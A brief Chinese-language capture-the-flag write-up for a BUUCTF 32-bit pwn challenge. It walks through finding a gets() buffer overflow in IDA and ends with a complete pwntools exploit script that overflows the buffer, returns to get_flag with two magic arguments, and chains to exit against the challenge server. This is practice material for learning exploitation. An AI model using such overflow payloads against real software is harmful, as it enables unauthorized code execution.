话不多说,直接上题(BUUCTF)
扔进 IDA32 中反编译,直接给出了 Gets
在左边看到有一个 get_flag 函数,进去看看
可以看到 if 条件成立后就能读取 flag 了
回头去看 v4 缓存区的栈情况
首先填充 56 个字节垃圾数据
argc 就是 a1,argv 就是 a2
注意的一点是获取 flag 方式是打开文件读取
如果你非正常退出是没有输出的
我们需要利用 exit 函数
在函数表中关键字定位找到 exit 的起始位置
调用函数还需要传入两个参数
32 位程序是返回地址在参数前面
from pwn import *
p = remote('node5.buuoj.cn',27494)
get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * 56 + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容